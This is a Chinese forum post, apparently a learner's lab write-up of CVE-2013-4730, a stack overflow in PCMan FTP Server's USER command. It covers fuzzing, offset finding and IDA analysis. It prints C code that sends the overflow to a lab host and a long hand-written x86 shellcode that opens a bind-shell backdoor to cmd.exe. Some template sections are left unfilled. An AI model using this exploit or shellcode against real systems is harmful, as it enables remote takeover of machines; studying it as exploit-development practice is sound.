-
-
[原创]初学之-CVE-2013-4730
-
发表于: 2023-5-5 13:59 9368
-
一、漏洞信息
1. 漏洞简述
- 漏洞名称:
- 漏洞编号:(CVE-2013-4730)
- 漏洞类型:(远程溢出)
- 漏洞影响:(远程代码执行)
- CVSS评分:(7)
- 利用难度:Medium
- 基础权限:不需要(是否需要普通用户权限)
2. 组件概述
FTP Server 服务器是一种专供其他电脑检索文件和存储的特殊电脑。文件服务器通常比一般的个人电脑拥有更大的存储容量,并具有一些其他的功能,如磁盘镜像、多个网络接口卡、热备援多电源供应器。到后来,文件服务器逐渐进化成带有RAID(Redundant Array of Independent Disk)存储子系统和其他高可用特性的高性能系统。
该应用:
這是由國內知名BBS連線軟體PCMan作者個人製作的免費簡易FTP架站軟體,專門針對初學者設計,特色是讓不熟電腦的人也能夠輕易架設FTP站。快速輕巧,操作簡單的簡易全 ...,教你幾分鐘內學會架簡易個人FTP站,和好友分享檔案.使用PCMan'sFTPServer輕鬆快速架設FTP站(作者:國立陽明大學醫學系洪任諭) ...,首先下載要用來架設FTP站的軟體,這裡我推薦我設計的軟體PCMan'sFTPServer(按這裡下載),這是專門針對初學者設計的全中文免費...
3. 漏洞利用
与FTP服务器发生交互,发送登录请求,即可引发栈溢出漏洞,导致攻击者可以远程执行任何命令。
4. 漏洞影响
PCMan FTP Server 2.0.7版本;
WindowsXP x86
5. 解决方案
官方的安全更新方案,给出链接。
二、漏洞复现
1. 环境搭建
- 靶机环境版本详述
- WIn7_SP1_X86操作系统,windbg、mona2
靶机配置
攻击机环境版本详述
- win10x64、vs2015、x64dbg
- 攻击机配置
2. 复现过程
分1,2,3步骤详述漏洞的复现过程。
三、漏洞分析
1. 基本信息
- 漏洞文件:存在漏洞的具体文件名
- 漏洞函数:存在漏洞的具体函数名
- 漏洞对象:触发漏洞的结构或其他数据对象
2. 背景知识
该部分内容主要简介漏洞分析过程中所使用到的相关知识,丰富程度由个人决定。
3. 详细分析
1. 基础分析
文件信息
首先通过前置信息得到,该应用在接受FTP user登陆命令时产生问题,我们需要在攻击机中编写程序发送请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | WSADATA stWSA; WSAStartup( 0x2020 , &stWSA); SOCKET stListen = INVALID_SOCKET; stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0 , 0 , 0 ); SOCKADDR_IN stService; stService.sin_addr.S_un.S_addr = inet_addr( "192.168.17.174" ); stService.sin_port = htons( 21 ); stService.sin_family = AF_INET; connect(stListen, (SOCKADDR * )&stService, sizeof(stService)); char szRecv[ 0x100 ] = { 0 }; char * pCommand = "USER anonymous" ; recv(stListen, szRecv, sizeof(szRecv), 0 ); send(stListen, cExpolit2, strlen(cExpolit2), 0 ); recv(stListen, szRecv, sizeof(szRecv), 0 ); closesocket(stListen); WSACleanup(); |
得到回应。
加大登录字符串数量,使用mona生成3000个fuzz字符串cexploit1,
断点以后,通过!py mona po 溢出点,计算溢出偏移。
构造字串验证溢出点可靠性。
查看堆栈,确认已经被溢出,尝试在此之前进行下断点。查看函数调用栈。
ba w4 0012ed64 ".if(poi(0012ed64 )==0x90909090){}.else{gc}" 问题:该条件断点失效;
下断点 ba w4 0012ed64单步找到;
查看调用栈kb;00417428 ;00412ced ;00403eeb ;
找到附近函数。
2. 静态分析
1. 函数调用链
2. 补丁Diff
...
3. 漏洞函数分析
在上一环节我们找到附近函数0x4173af;将其置于ida中进行分析。重点分析,
首先找到0x4173af;
明显这是一个写入char操作,不会出现问题;
在调用sprintf函数,这个函数存在风险,再上一步;
清除看到使用sprintf格式化输出,给定了buff[2048],但是并没有判定v5,a2,长度,
猜测 v5为 user a2为携带进来的字符串,并且该长度与我们的溢出点 2009极为接近。
3. 动态分析
再函数附近下断点,
a2为第八个参数,所以找到0032dec0 ;可以看到,
这一切和刚才都相对应。那么下一次中断就为覆盖栈操作,
那么该点可以进行利用
4. 利用思路
这是一个典型的栈溢出漏洞,采取跳板指令跳转到payload,执行行为,本次尝试利用该漏洞开启后门。
1. 利用条件
虚拟机需要关闭dep,数据执行保护选项;使得栈中数据可执行。
2. 利用过程
首先获取跳板指令;
编写payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 | __asm { SUB ESP, 0x20 push ebp mov ebp, esp sub esp, 0x10 JMP tag_Shellcode _asm _emit( 0x63 )_asm _emit( 0x6D )_asm _emit( 0x64 )_asm _emit( 0x2E ) _asm _emit( 0x65 )_asm _emit( 0x78 )_asm _emit( 0x65 )_asm _emit( 0x00 ) / / [tag_Next - 0x1D ] "ws2_32.dll\0" _asm _emit( 0x77 )_asm _emit( 0x73 )_asm _emit( 0x32 )_asm _emit( 0x5F ) _asm _emit( 0x33 )_asm _emit( 0x32 )_asm _emit( 0x2E )_asm _emit( 0x64 ) _asm _emit( 0x6C )_asm _emit( 0x6C )_asm _emit( 0x00 ) / / [tag_Next - 0x12 ] "kernel32.dll\0" _asm _emit( 0x6B )_asm _emit( 0x65 )_asm _emit( 0x72 )_asm _emit( 0x6E ) _asm _emit( 0x65 )_asm _emit( 0x6C )_asm _emit( 0x33 )_asm _emit( 0x32 ) _asm _emit( 0x2E )_asm _emit( 0x64 )_asm _emit( 0x6C )_asm _emit( 0x6C ) _asm _emit( 0x00 ) tag_Shellcode: / / 1. GetPC CALL tag_Next tag_Next : pop ebx mov[ebp - 0x04 ], ebx mov esi, dword ptr fs : [ 0x30 ] mov esi, [esi + 0x0C ] mov esi, [esi + 0x1C ] mov esi, [esi] mov edx, [esi + 0x08 ] push edx push 0xC0D83287 call fun_GetFunAddrByHash mov edi, eax lea esi, [ebx - 0x12 ] push 0 push 0 push esi call edi mov[ebp - 0x08 ], eax lea esi, [ebx - 0x1D ] push 0 push 0 push esi call edi mov[ebp - 0x0C ], eax push[ebp - 0x0C ] push[ebp - 0x08 ] push[ebp - 0x04 ] call fun_Payload push[ebp - 0x08 ] push 0x4FD18963 call fun_GetFunAddrByHash push 0 call eax mov esp, ebp pop ebp fun_GetFunAddrByHash : / / ( int nHashDigest, int ImageBase) push ebp mov ebp, esp sub esp, 0x0C push edx / / 1. 获取EAT、ENT与EOT的地址 mov edx, [ebp + 0x0C ] mov esi, [edx + 0x3C ] lea esi, [edx + esi] mov esi, [esi + 0x78 ] lea esi, [edx + esi] mov edi, [esi + 0x1C ] lea edi, [edx + edi] mov[ebp - 0x04 ], edi mov edi, [esi + 0x20 ] lea edi, [edx + edi] mov[ebp - 0x08 ], edi mov edi, [esi + 0x24 ] lea edi, [edx + edi] mov[ebp - 0x0C ], edi xor ecx, ecx jmp tag_FirstCmp tag_CmpFunNameLoop : inc ecx tag_FirstCmp : mov esi, [ebp - 0x08 ] mov esi, [esi + 4 * ecx] mov edx, [ebp + 0x0C ] lea esi, [edx + esi] push[ebp + 0x08 ] push esi call fun_Hash_CmpString test eax, eax jz tag_CmpFunNameLoop mov esi, [ebp - 0x0C ] xor edi, edi mov di, [esi + ecx * 2 ] mov edx, [ebp - 0x04 ] mov esi, [edx + edi * 4 ] mov edx, [ebp + 0x0C ] lea eax, [edx + esi] pop edx mov esp, ebp pop ebp retn 0x08 fun_Hash_CmpString: push ebp mov ebp, esp sub esp, 0x04 mov dword ptr[ebp - 0x04 ], 0x00 push ebx push ecx push edx mov esi, [ebp + 0x08 ] xor ecx, ecx xor eax, eax tag_HashLoop : mov al, [esi + ecx] test al, al jz tag_HashEnd mov ebx, [ebp - 0x04 ] shl ebx, 0x19 mov edx, [ebp - 0x04 ] shr edx, 0x07 or ebx, edx add ebx, eax mov[ebp - 0x04 ], ebx inc ecx jmp tag_HashLoop tag_HashEnd : mov ebx, [ebp + 0x0C ] mov edx, [ebp - 0x04 ] xor eax, eax cmp ebx, edx jne tag_FunEnd mov eax, 1 tag_FunEnd: pop edx pop ecx pop ebx mov esp, ebp pop ebp retn 0x08 fun_Payload: / / ( int BaseAddr, int Kernel32_Base, int ws2_32_Base) push ebp mov ebp, esp sub esp, 0x300 / / 1. 初始化Winsock服务 push[ebp + 0x10 ] push 0x80B46A3D call fun_GetFunAddrByHash lea esi, [ebp - 0x300 ] push esi push 0x0202 call eax test eax, eax jnz tag_PaloadEnd / / 2. 创建一个原始套接字 push[ebp + 0x10 ] push 0xDE78322D call fun_GetFunAddrByHash push 0 push 0 push 0 push 6 push 1 push 2 call eax mov[ebp - 0x04 ], eax push[ebp + 0x10 ] push 0xDDA71064 call fun_GetFunAddrByHash mov word ptr[ebp - 0x200 ], 0x02 mov word ptr[ebp - 0x1FE ], 0xEB05 mov dword ptr[ebp - 0x1FC ], 0 lea esi, [ebp - 0x200 ] push 0x14 push esi push[ebp - 0x04 ] call eax test eax, eax jnz tag_PaloadEnd push[ebp + 0x10 ] push 0x4BD39F0C call fun_GetFunAddrByHash push 0x7FFFFFFF push[ebp - 0x04 ] call eax test eax, eax jnz tag_PaloadEnd / / 5. 接受一个连接 push[ebp + 0x10 ] push 0x01971EB1 call fun_GetFunAddrByHash push 0 push 0 push[ebp - 0x04 ] call eax mov[ebp - 0x04 ], eax push[ebp + 0x0C ] push 0x6BA6BCC9 call fun_GetFunAddrByHash mov edx, eax lea edi, [ebp - 0x90 ] mov ecx, 0x11 mov eax, 0x00 cld rep stosd mov dword ptr[ebp - 0x90 ], 0x00000044 mov dword ptr[ebp - 0x64 ], 0x00000100 mov word ptr[ebp - 0x60 ], 0x0000 mov esi, [ebp - 0x04 ] mov dword ptr[ebp - 0x58 ], esi mov dword ptr[ebp - 0x54 ], esi mov dword ptr[ebp - 0x50 ], esi lea esi, [ebp - 0x90 ] lea edi, [ebp - 0x200 ] mov ebx, [ebp + 0x08 ] lea ebx, [ebx - 0x25 ] push edi push esi push 0 push 0 push 0 push 1 push 0 push 0 push ebx push 0 call edx tag_PaloadEnd : mov esp, ebp pop ebp retn 0x0C } |
构建shellcode
在实际中,出现0x00;0x0a;0x0d;阻碍过程,编写简单加密器去除坏字符。
利用成功;
3. 攻击向量
...
四、缓解措施
对输入字符串进行有效验证
五、参考文献
oday2;
漏洞利用教材;
赞赏
- [原创]初学之_过保护 10452
- [原创]初学之-CVE-2013-4730 9369
- 初学之-CVE-2013-4730 待删 不会传图片 8955
- [原创]C++学习 待删 不会传图片 6095